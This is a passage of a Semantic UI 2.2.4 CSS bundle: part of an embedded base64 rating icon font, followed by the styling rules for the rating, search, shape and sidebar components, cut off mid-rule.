EiYSJhImFiYeJh4mFh4WLioqJiomJiIqJiokIi4qKiIqJCNqLBZqLmIWWgJaAkH+LfIt6hn2Af46DjYSLhIt9h36Cf4+Bi3+HgImAhYKEhI12hnmAfgh/fXiDcosIZosFfot+jHyOfI5/joOOg41/j32Qc5N8j4SMhouHjYiOh4+Jj4uQCA5ni/c5FYuGjYaOiI+Hj4mQiwjeiwWQi4+Njo+Pjo2Qi5AIi/dKBYuQiZCHjoiPh42Giwg4iwWGi4eJh4eIiImGi4YIi/tKBbD3JhWLkIyPj4+OjpCNkIuQi4+Jj4iOh42Hi4aLhomHiIeHh4eKhouGi4aMiI+Hj4qPi5AI7/snFYv3SwWLkI2Qj46Oj4+NkIuSi5qPo5OZkJePk46TjZeOmo6ajpiMmIsIsIsFpIueg5d9ln6Qeol1koSRgo2Aj4CLgIeAlH+Pfot9i4WJhIiCloCQfIt7i3yFfoGACICAfoZ8iwg8iwWMiIyJi4mMiYyJjYmMiIyKi4mPhI2GjYeNh42GjYOMhIyEi4SLhouHi4iLiYuGioYIioWKhomHioeJh4iGh4eIh4aIh4iFiISJhImDioKLhouHjYiPh4+Ij4iRiJGJkIqPCIqPipGKkomTipGKj4qOiZCJkYiQiJCIjoWSgZZ+nIKXgZaBloGWhJGHi4aLh42HjwiIjomQi48IDviUFPiUFYsMCgAAAAADAgABkAAFAAABTAFmAAAARwFMAWYAAAD1ABkAhAAAAAAAAAAAAAAAAAAAAAEQAAAAAAAAAAAAAAAAAAAAAEAAAPFlAeD/4P/gAeAAIAAAAAEAAAAAAAAAAAAAACAAAAAAAAIAAAADAAAAFAADAAEAAAAUAAQAkAAAACAAIAAEAAAAAQAg5gXwBvAN8CPwLvBu8HDwivCX8JzxI/Fl//3//wAAAAAAIOYA8ATwDPAj8C7wbvBw8Ifwl/Cc8SPxZP/9//8AAf/jGgQQBhABD+wP4g+jD6IPjA+AD3wO9g62AAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAAJrVlLJfDzz1AAsCAAAAAADP/GODAAAAAM/8Y4MAAP/bAgAB2wAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAACAAABAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAEAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAdwAAAHcAAACAAAjAZMAHwFJAAABbgAAAgAAAAIAAAACAAAAAgAAAAEAAAACAAAAAW4AAAHcAAAB3AABAdwAAAHcAAAAAFAAABwAAAAAAA4ArgABAAAAAAABAAwAAAABAAAAAAACAA4AQAABAAAAAAADAAwAIgABAAAAAAAEAAwATgABAAAAAAAFABYADAABAAAAAAAGAAYALgABAAAAAAAKADQAWgADAAEECQABAAwAAAADAAEECQACAA4AQAADAAEECQADAAwAIgADAAEECQAEAAwATgADAAEECQAFABYADAADAAEECQAGAAwANAADAAEECQAKADQAWgByAGEAdABpAG4AZwBWAGUAcgBzAGkAbwBuACAAMQAuADAAcgBhAHQAaQBuAGdyYXRpbmcAcgBhAHQAaQBuAGcAUgBlAGcAdQBsAGEAcgByAGEAdABpAG4AZwBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==) format('woff');
  font-weight: normal;
  font-style: normal;
}

.ui.rating .icon {
  font-family: 'Rating';
  line-height: 1;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  font-weight: normal;
  font-style: normal;
  text-align: center;
}

/* Empty Star */

.ui.rating .icon:before {
  content: '\f005';
}

/* Active Star */

.ui.rating .active.icon:before {
  content: '\f005';
}

/*-------------------
        Star
--------------------*/

/* Unfilled Star */

.ui.star.rating .icon:before {
  content: '\f005';
}

/* Active Star */

.ui.star.rating .active.icon:before {
  content: '\f005';
}

/* Partial */

.ui.star.rating .partial.icon:before {
  content: '\f006';
}

.ui.star.rating .partial.icon {
  content: '\f005';
}

/*-------------------
        Heart
--------------------*/

/* Empty Heart
.ui.heart.rating .icon:before {
  content: '\f08a';
}
*/

.ui.heart.rating .icon:before {
  content: '\f004';
}

/* Active */

.ui.heart.rating .active.icon:before {
  content: '\f004';
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Search
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Search
*******************************/

.ui.search {
  position: relative;
}

.ui.search > .prompt {
  margin: 0em;
  outline: none;
  -webkit-appearance: none;
  -webkit-tap-highlight-color: rgba(255, 255, 255, 0);
  text-shadow: none;
  font-style: normal;
  font-weight: normal;
  line-height: 1.2142em;
  padding: 0.67861429em 1em;
  font-size: 1em;
  background: #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  color: rgba(0, 0, 0, 0.87);
  box-shadow: 0em 0em 0em 0em transparent inset;
  -webkit-transition: background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, border-color 0.1s ease;
  transition: background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, border-color 0.1s ease;
}

.ui.search .prompt {
  border-radius: 500rem;
}

/*--------------
     Icon
---------------*/

.ui.search .prompt ~ .search.icon {
  cursor: pointer;
}

/*--------------
    Results
---------------*/

.ui.search > .results {
  display: none;
  position: absolute;
  top: 100%;
  left: 0%;
  -webkit-transform-origin: center top;
  -ms-transform-origin: center top;
  transform-origin: center top;
  white-space: normal;
  background: #FFFFFF;
  margin-top: 0.5em;
  width: 18em;
  border-radius: 0.28571429rem;
  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
  border: 1px solid #D4D4D5;
  z-index: 998;
}

.ui.search > .results > :first-child {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.search > .results > :last-child {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

/*--------------
    Result
---------------*/

.ui.search > .results .result {
  cursor: pointer;
  display: block;
  overflow: hidden;
  font-size: 1em;
  padding: 0.85714286em 1.14285714em;
  color: rgba(0, 0, 0, 0.87);
  line-height: 1.33;
  border-bottom: 1px solid rgba(34, 36, 38, 0.1);
}

.ui.search > .results .result:last-child {
  border-bottom: none !important;
}

/* Image */

.ui.search > .results .result .image {
  float: right;
  overflow: hidden;
  background: none;
  width: 5em;
  height: 3em;
  border-radius: 0.25em;
}

.ui.search > .results .result .image img {
  display: block;
  width: auto;
  height: 100%;
}

/*--------------
      Info
---------------*/

.ui.search > .results .result .image + .content {
  margin: 0em 6em 0em 0em;
}

.ui.search > .results .result .title {
  margin: -0.14285em 0em 0em;
  
  font-weight: bold;
  font-size: 1em;
  color: rgba(0, 0, 0, 0.85);
}

.ui.search > .results .result .description {
  margin-top: 0;
  font-size: 0.92857143em;
  color: rgba(0, 0, 0, 0.4);
}

.ui.search > .results .result .price {
  float: right;
  color: #21BA45;
}

/*--------------
    Message
---------------*/

.ui.search > .results > .message {
  padding: 1em 1em;
}

.ui.search > .results > .message .header {
  
  font-size: 1rem;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.87);
}

.ui.search > .results > .message .description {
  margin-top: 0.25rem;
  font-size: 1em;
  color: rgba(0, 0, 0, 0.87);
}

/* View All Results */

.ui.search > .results > .action {
  display: block;
  border-top: none;
  background: #F3F4F5;
  padding: 0.92857143em 1em;
  color: rgba(0, 0, 0, 0.87);
  font-weight: bold;
  text-align: center;
}

/*******************************
            States
*******************************/

/*--------------------
       Focus
---------------------*/

.ui.search > .prompt:focus {
  border-color: rgba(34, 36, 38, 0.35);
  background: #FFFFFF;
  color: rgba(0, 0, 0, 0.95);
}

/*--------------------
       Loading
---------------------*/

.ui.loading.search .input > i.icon:before {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  border-radius: 500rem;
  border: 0.2em solid rgba(0, 0, 0, 0.1);
}

.ui.loading.search .input > i.icon:after {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  -webkit-animation: button-spin 0.6s linear;
  animation: button-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 transparent transparent;
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
}

/*--------------
      Hover
---------------*/

.ui.search > .results .result:hover,
.ui.category.search > .results .category .result:hover {
  background: #F9FAFB;
}

.ui.search .action:hover {
  background: #E0E0E0;
}

/*--------------
      Active
---------------*/

.ui.category.search > .results .category.active {
  background: #F3F4F5;
}

.ui.category.search > .results .category.active > .name {
  color: rgba(0, 0, 0, 0.87);
}

.ui.search > .results .result.active,
.ui.category.search > .results .category .result.active {
  position: relative;
  border-left-color: rgba(34, 36, 38, 0.1);
  background: #F3F4F5;
  box-shadow: none;
}

.ui.search > .results .result.active .title {
  color: rgba(0, 0, 0, 0.85);
}

.ui.search > .results .result.active .description {
  color: rgba(0, 0, 0, 0.85);
}

/*******************************
           Types
*******************************/

/*--------------
    Selection
---------------*/

.ui.search.selection .prompt {
  border-radius: 0.28571429rem;
}

/* Remove input */

.ui.search.selection > .icon.input > .remove.icon {
  pointer-events: none;
  position: absolute;
  left: auto;
  opacity: 0;
  color: '';
  top: 0em;
  right: 0em;
  -webkit-transition: color 0.1s ease, opacity 0.1s ease;
  transition: color 0.1s ease, opacity 0.1s ease;
}

.ui.search.selection > .icon.input > .active.remove.icon {
  cursor: pointer;
  opacity: 0.8;
  pointer-events: auto;
}

.ui.search.selection > .icon.input:not([class*="left icon"]) > .icon ~ .remove.icon {
  right: 1.85714em;
}

.ui.search.selection > .icon.input > .remove.icon:hover {
  opacity: 1;
  color: #DB2828;
}

/*--------------
    Category
---------------*/

.ui.category.search .results {
  width: 28em;
}

/* Category */

.ui.category.search > .results .category {
  background: #F3F4F5;
  box-shadow: none;
  border-bottom: 1px solid rgba(34, 36, 38, 0.1);
  -webkit-transition: background 0.1s ease, border-color 0.1s ease;
  transition: background 0.1s ease, border-color 0.1s ease;
}

/* Last Category */

.ui.category.search > .results .category:last-child {
  border-bottom: none;
}

/* First / Last */

.ui.category.search > .results .category:first-child .name + .result {
  border-radius: 0em 0.28571429rem 0em 0em;
}

.ui.category.search > .results .category:last-child .result:last-child {
  border-radius: 0em 0em 0.28571429rem 0em;
}

/* Category Result */

.ui.category.search > .results .category .result {
  background: #FFFFFF;
  margin-left: 100px;
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  border-bottom: 1px solid rgba(34, 36, 38, 0.1);
  -webkit-transition: background 0.1s ease, border-color 0.1s ease;
  transition: background 0.1s ease, border-color 0.1s ease;
  padding: 0.85714286em 1.14285714em;
}

.ui.category.search > .results .category:last-child .result:last-child {
  border-bottom: none;
}

/* Category Result Name */

.ui.category.search > .results .category > .name {
  width: 100px;
  background: transparent;
  
  font-size: 1em;
  float: 1em;
  float: left;
  padding: 0.4em 1em;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.4);
}

/*******************************
           Variations
*******************************/

/*-------------------
     Left / Right
--------------------*/

.ui[class*="left aligned"].search > .results {
  right: auto;
  left: 0%;
}

.ui[class*="right aligned"].search > .results {
  right: 0%;
  left: auto;
}

/*--------------
    Fluid
---------------*/

.ui.fluid.search .results {
  width: 100%;
}

/*--------------
      Sizes
---------------*/

.ui.mini.search {
  font-size: 0.78571429em;
}

.ui.small.search {
  font-size: 0.92857143em;
}

.ui.search {
  font-size: 1em;
}

.ui.large.search {
  font-size: 1.14285714em;
}

.ui.big.search {
  font-size: 1.28571429em;
}

.ui.huge.search {
  font-size: 1.42857143em;
}

.ui.massive.search {
  font-size: 1.71428571em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Shape
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
              Shape
*******************************/

.ui.shape {
  position: relative;
  vertical-align: top;
  display: inline-block;
  -webkit-perspective: 2000px;
  perspective: 2000px;
  -webkit-transition: left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out;
  transition: left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out;
  transition: transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out;
  transition: transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out;
}

.ui.shape .sides {
  -webkit-transform-style: preserve-3d;
  transform-style: preserve-3d;
}

.ui.shape .side {
  opacity: 1;
  width: 100%;
  margin: 0em !important;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
}

.ui.shape .side {
  display: none;
}

.ui.shape .side * {
  -webkit-backface-visibility: visible !important;
  backface-visibility: visible !important;
}

/*******************************
             Types
*******************************/

.ui.cube.shape .side {
  min-width: 15em;
  height: 15em;
  padding: 2em;
  background-color: #E6E6E6;
  color: rgba(0, 0, 0, 0.87);
  box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.3);
}

.ui.cube.shape .side > .content {
  width: 100%;
  height: 100%;
  display: table;
  text-align: center;
  -webkit-user-select: text;
  -moz-user-select: text;
  -ms-user-select: text;
  user-select: text;
}

.ui.cube.shape .side > .content > div {
  display: table-cell;
  vertical-align: middle;
  font-size: 2em;
}

/*******************************
          Variations
*******************************/

.ui.text.shape.animating .sides {
  position: static;
}

.ui.text.shape .side {
  white-space: nowrap;
}

.ui.text.shape .side > * {
  white-space: normal;
}

/*******************************
             States
*******************************/

/*--------------
    Loading
---------------*/

.ui.loading.shape {
  position: absolute;
  top: -9999px;
  left: -9999px;
}

/*--------------
    Animating
---------------*/

.ui.shape .animating.side {
  position: absolute;
  top: 0px;
  left: 0px;
  display: block;
  z-index: 100;
}

.ui.shape .hidden.side {
  opacity: 0.6;
}

/*--------------
      CSS
---------------*/

.ui.shape.animating .sides {
  position: absolute;
}

.ui.shape.animating .sides {
  -webkit-transition: left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out;
  transition: left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out;
  transition: transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out;
  transition: transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out;
}

.ui.shape.animating .side {
  -webkit-transition: opacity 0.6s ease-in-out;
  transition: opacity 0.6s ease-in-out;
}

/*--------------
     Active
---------------*/

.ui.shape .active.side {
  display: block;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Sidebar
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Sidebar
*******************************/

/* Sidebar Menu */

.ui.sidebar {
  position: fixed;
  top: 0;
  left: 0;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  -webkit-transition: none;
  transition: none;
  will-change: transform;
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
  visibility: hidden;
  -webkit-overflow-scrolling: touch;
  height: 100% !important;
  max-height: 100%;
  border-radius: 0em !important;
  margin: 0em !important;
  overflow-y: auto !important;
  z-index: 102;
}

/* GPU Layers for Child Elements */

.ui.sidebar > * {
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
}

/*--------------
   Direction
---------------*/

.ui.left.sidebar {
  right: auto;
  left: 0px;
  -webkit-transform: translate3d(-100%, 0, 0);
  transform: translate3d(-100%, 0, 0);
}

.ui.right.sidebar {
  right: 0px !important;
  left: auto !important;
  -webkit-transform: translate3d(100%, 0%, 0);
  transform: translate3d(100%, 0%, 0);
}

.ui.top.sidebar,
.ui.bottom.sidebar {
  width: 100% !important;
  height: auto !important;
}

.ui.top.sidebar {
  top: 0px !important;
  bottom: auto !important;
  -webkit-transform: translate3d(0, -100%, 0);
  transform: translate3d(0, -100%, 0);
}

.ui.bottom.sidebar {
  top: auto !important;
  bottom: 0px !important;
  -webkit-transform: translate3d(0, 100%, 0);
  transform: translate3d(0, 100%, 0);
}

/*--------------
     Pushable
---------------*/

.pushable {
  height: 100%;
  overflow-x: hidden;
  padding: 0em !important;
}

/* Whole Page */

body.pushable {
  background: #545454 !important;
}

/* Page Context */

.pushable:not(body) {
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
}

.pushable:not(body) > .ui.sidebar,
.pushable:not(body) > .fixed,
.pushable:not(body) > .pusher:after {
  position: absolute;
}

/*--------------
     Fixed
---------------*/

.pushable > .fixed {
  position: fixed;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
  will-change: transform;
  z-index: 101;
}

/*--------------
     Page
---------------*/

.pushable > .pusher {
  position: relative;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  overflow: hidden;
  min-height: 100%;
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
  z-index: 2;
}

body.pushable > .pusher {
  background: #FFFFFF;
}

/* Pusher should inherit background from context */

.pushable > .pusher {
  background: inherit;
}

/*--------------
     Dimmer
---------------*/

.pushable > .pusher:after {
  position: fixed;
  top: 0px;
  right: 0px;
  content: '';
  background-color: rgba(0, 0, 0, 0.4);
  overflow: hidden;
  opacity: 0;
  -webkit-transition: opacity 500ms;
  transition: opacity 500ms;
  will-change: opacity;
  z-index: 1000;
}

/*--------------
    Coupling
---------------*/

.ui.sidebar.menu .item {
  border-radius: 0em !important;
}

/*******************************
            States
*******************************/

/*--------------
     Dimmed
---------------*/

.pushable > .pusher.dimmed:after {
  width: 100% !important;
  height: 100% !important;
  opacity: 1 !important;
}

/*--------------
    Animating
---------------*/

.ui.animating.sidebar {
  visibility: visible;
}

/*--------------
     Visible
---------------*/

.ui.visible.sidebar {
  visibility: visible;
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
}

/* Shadow Direction */

.ui.left.visible.sidebar,
.ui.right.visible.sidebar {
  box-shadow: 0px 0px 20px rgba(34, 36, 38, 0.15);
}

.ui.top.visible.sidebar,
.ui.bottom.visible.sidebar {
  box-shadow: 0px 0px 20px rgba(34, 36, 38, 0.15);
}

/* Visible On Load */

.ui.visible.left.sidebar ~ .fixed,
.ui.visible.left.sidebar ~ .pusher {
  -webkit-transform: translate3d(260px, 0, 0);
  transform: translate3d(260px, 0, 0);
}

.ui.visible.right.sidebar ~ .fixed,
.ui.visible.right.sidebar ~ .pusher {
  -webkit-transform: translate3d(-260px, 0, 0);
  transform: translate3d(-260px, 0, 0);
}

.ui.visible.top.sidebar ~ .fixed,
.ui.visible.top.sidebar ~ .pusher {
  -webkit-transform: translate3d(0, 36px, 0);
  transform: translate3d(0, 36px, 0);
}

.ui.visible.bottom.sidebar ~ .fixed,
.ui.visible.bottom.sidebar ~ .pusher {
  -webkit-transform: translate3d(0, -36px, 0);
  transform: translate3d(0, -36px, 0);
}

/* opposite sides visible forces content overlay */

.ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .fixed,
.ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher,
.ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .fixed,
.ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher {
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
}

/*--------------
       iOS
---------------*/

/*
  iOS incorrectly sizes document when content
  is presented outside of view with 2Dtranslate
*/

html.ios {
  overflow-x: hidden;
  -webkit-overflow-scrolling: touch;
}

html.ios,
html.ios body {
  height: initial !important;
}

/*******************************
          Variations
*******************************/

/*--------------
     Width
---------------*/

/* Left / Right */

.ui.thin.left.sidebar,
.ui.thin.right.sidebar {
  width: 150px;
}

.ui[class*="very thin"].left.sidebar,
.ui[class*="very thin"].right.sidebar {
  width: 60px;
}

.ui.left.sidebar,
.ui.right.sidebar {
  width: 260px;
}

.ui.wide.left.sidebar,
.ui.wide.right.sidebar {
  width: 350px;
}

.ui[class*="very wide"].left.sidebar,
.ui[class*="very wide"].right.sidebar {
  width: 475px;
}

/* Left Visible */

.ui.visible.thin.left.sidebar ~ .fixed,
.ui.visible.thin.left.sidebar ~ .pusher {
  -webkit-transform: translate3d(150px, 0, 0);
  transform: translate3d(150px, 0, 0);
}

.ui.visible[class*="very thin"].left.sidebar ~ .fixed,
.ui.visible[class*="very thin"].left.sidebar ~ .pusher {
  -webkit-transform: translate3d(60px, 0, 0);
  transform: translate3d(60px, 0, 0);
}

.ui.visible.wide.left.sidebar ~ .fixed,
.ui.visible.wide.left.sidebar ~ .pusher {
  -webkit-transform: translate3d(350px, 0, 0);
  transform: translate3d(350px, 0, 0);
}

.ui.visible[class*="very wide"].left.sidebar ~ .fixed,
.ui.visible[class*="very wide"].left.sidebar ~ .pusher {
  -webkit-transform: translate3d(475px, 0, 0);
  transform: translate3d(475px, 0, 0);
}

/* Right Visible */

.ui.visible.thin.right.sidebar ~ .fixed,
.ui.visible.thin.right.sidebar ~ .pusher {
  -webkit-transform: translate3d(-150px, 0, 0);
  transform: translate3d(-150px, 0, 0);
}

.ui.visible[class*="very thin"].right.sidebar ~ .fixed,
.ui.visible[class*="very thin"].right.sidebar ~ .pusher {
  -webkit-transform: translate3d(-60px, 0, 0);
  transform: translate3d(-60px, 0, 0);
}

.ui.visible.wide.right.sidebar ~ .fixed,
.ui.visible.wide.right.sidebar ~ .pusher {
  -webkit-transform: translate3d(-350px, 0, 0);
  transform: translate3d(-350px, 0, 0);
}

.ui.visible[class*="very wide"].right.sidebar ~ .fixed,
.ui.visible[class*="very wide"].right.sidebar ~ .pusher {
  -webkit-transform: translate3d(-475px, 0, 0);
  transform: translate3d(-475px, 0, 0);
}

/*******************************
          Animations
*******************************/

/*--------------
    Overlay
---------------*/

/* Set-up */

.ui.overlay.sidebar {
  z-index: 102;
}

/* Initial */

.ui.left.overlay.sidebar {
  -webkit-transform: translate3d(-100%, 0%, 0);
  transform: translate3d(-100%, 0%, 0);
}

.ui.right.overlay.sidebar {
  -webkit-transform: translate3d(100%, 0%, 0);
  transform: translate3d(100%, 0%, 0);
}

.ui.top.overlay.sidebar {
  -webkit-transform: translate3d(0%, -100%, 0);
  transform: translate3d(0%, -100%, 0);
}

.ui.bottom.overlay.sidebar {
  -webkit-transform: translate3d(0%, 100%, 0);
  transform: translate3d(0%, 100%, 0);
}

/* Animation */

.animating.ui.overlay.sidebar,
.ui.visible.overlay.sidebar {
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
}

/* End - Sidebar */

.ui.visible.left.overlay.sidebar {
  -webkit-transform: translate3d(0%, 0%, 0);
  transform: translate3d(0%, 0%, 0);
}

.ui.visible.right.overlay.sidebar {
  -webkit-transform: translate3d(0%, 0%, 0);
  transform: translate3d(0%, 0%, 0);
}

.ui.visible.top.overlay.sidebar {
  -webkit-transform: translate3d(0%, 0%, 0);
  transform: translate3d(0%, 0%, 0);
}

.ui.visible.bottom.overlay.sidebar {
  -webkit-transform: translate3d(0%, 0%, 0);
  transform: translate3d(0%, 0%, 0);
}

/* End - Pusher */

.ui.visible.overlay.sidebar ~ .fixed,
.ui.visible.overlay.sidebar ~ .pusher {
  -webkit-transform: none !important;
  -ms-transform: none !important;
  transform: none !important;
}

/*--------------
      Push
---------------*/

/* Initial */

.ui.push.sidebar {
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
  z-index: 102;
}

/* Sidebar - Initial */

.ui.left.push.sidebar {
  -webkit-transform: translate3d(-100%, 0, 0);
  transform: translate3d(-100%, 0, 0);
}

.ui.right.push.sidebar {
  -webkit-transform: translate3d(100%, 0, 0);
  transform: translate3d(100%, 0, 0);
}

.ui.top.push.sidebar {
  -webkit-transform: translate3d(0%, -100%, 0);
  transform: translate3d(0%, -100%, 0);
}

.ui.bottom.push.sidebar {
  -webkit-transform: translate3d(0%, 100%, 0);
  transform: translate3d(0%, 100%, 0);
}

/* End */

.ui.visible.push.sidebar {
  -webkit-transform: translate3d(0%, 0, 0);
  transform: translate3d(0%, 0, 0);
}

/*--------------
    Uncover
---------------*/

/* Initial */

.ui.uncover.sidebar {
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
  z-index: 1;
}

/* End */

.ui.visible.uncover.sidebar {
  -webkit-transform: translate3d(0, 0, 0);
  transform: translate3d(0, 0, 0);
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
}

/*--------------
   Slide Along
---------------*/

/* Initial */

.ui.slide.along.sidebar {
  z-index: 1;
}

/* Sidebar - Initial */

.ui.left.slide.along.sidebar {
  -webkit-transform: translate3d(-50%, 0, 0);
  transform: translate3d(-50%, 0, 0);
}

.ui.right.slide.along.sidebar {
  -webkit-transform: translate3d(50%, 0, 0);
  transform: translate3d(50%, 0, 0);
}

.ui.top.slide.along.sidebar {
  -webkit-transform: translate3d(0, -50%, 0);
  transform: translate3d(0, -50%, 0);
}

.ui.bottom.slide.along.sidebar {
  -webkit-transform: translate3d(0%, 50%, 0);
  transform: translate3d(0%, 50%, 0);
}

/* Animation */

.ui.animating.slide.along.sidebar {
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
}

/* End */

.ui.visible.slide.along.sidebar {
  -webkit-transform: translate3d(0%, 0, 0);
  transform: translate3d(0%, 0, 0);
}

/*--------------
   Slide Out
---------------*/

/* Initial */

.ui.slide.out.sidebar {
  z-index: 1;
}

/* Sidebar - Initial */

.ui.left.slide.out.sidebar {
  -webkit-transform: translate3d(50%, 0, 0);
  transform: translate3d(50%, 0, 0);
}

.ui.right.slide.out.sidebar {
  -webkit-transform: translate3d(-50%, 0, 0);
  transform: translate3d(-50%, 0, 0);
}

.ui.top.slide.out.sidebar {
  -webkit-transform: translate3d(0%, 50%, 0);
  transform: translate3d(0%, 50%, 0);
}

.ui.bottom.slide.out.sidebar {
  -webkit-transform: translate3d(0%, -50%, 0);
  transform: translate3d(0%, -50%, 0);
}

/* Animation */

.ui.animating.slide.out.sidebar {
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
}

/* End */

.ui.visible.slide.out.sidebar {
  -webkit-transform: translate3d(0%, 0, 0);
  transform: translate3d(0%, 0, 0);
}

/*--------------
   Scale Down
---------------*/

/* Initial */

.ui.scale.down.sidebar {
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
  z-index: 102;
}

/* Sidebar - Initial  */

.ui.left.scale.down.sidebar {
  -webkit-transform: translate3d(-100%, 0, 0);
  transform: translate3d(-100%, 0, 0);
}

.ui.right.scale.down.sidebar {
  -webkit-transform: translate3d(100%, 0, 0);
  transform: translate3d(100%, 0, 0);
}

.ui.top.scale.down.sidebar {
  -webkit-transform: translate3d(0%, -100%, 0);
  transform: translate3d(0%, -100%, 0);
}

.ui.bottom.scale.down.sidebar {
  -webkit-transform: translate3d(0%, 100%, 0);
  transform: translate3d(0%, 100%, 0);
}

/* Pusher - Initial */

.ui.scale.down.left.sidebar ~ .pusher {
  -webkit-transform-origin: 75% 50%;
  -ms-transform-origin: 75% 50%;
  transform-origin: 75% 50%;
}

.ui.scale.down.right.sidebar ~ .pusher {
  -webkit-transform-origin: 25% 50%;
  -ms-transform-origin: 25% 50%;
  transform-origin: 25% 50%;
}

.ui.scale.down.top.sidebar ~ .pusher {
  -webkit-transform-origin: 50% 75%;
  -ms-transform-origin: 50% 75%;
  transform-origin: 50% 75%;
}

.ui.scale.down.bottom.sidebar ~ .pusher {
  -webkit-transform-origin: 50% 25%;
  -ms-transform-origin: 50% 25%;
  transform-origin: 50% 25%;
}

/* Animation */

.ui.animating.scale.down > .visible.ui.sidebar {
  -webkit-transition: -webkit-transform 500ms ease;
  transition: -webkit-transform 500ms ease;
  transition: transform 500ms ease;
  transition: transform 500ms ease, -webkit-transform 500ms ease;
}

.ui.visible.scale.down.sidebar ~ .pusher,
.ui.animating.scale.down.sidebar ~ .pusher {
  display: block !important;
  width: 100%;
  height: 100%;
  overflow: hidden !important;
}

/* End */

.ui.visible.scale.down.sidebar {
  -webkit-transform: translate3d(0, 0, 0);
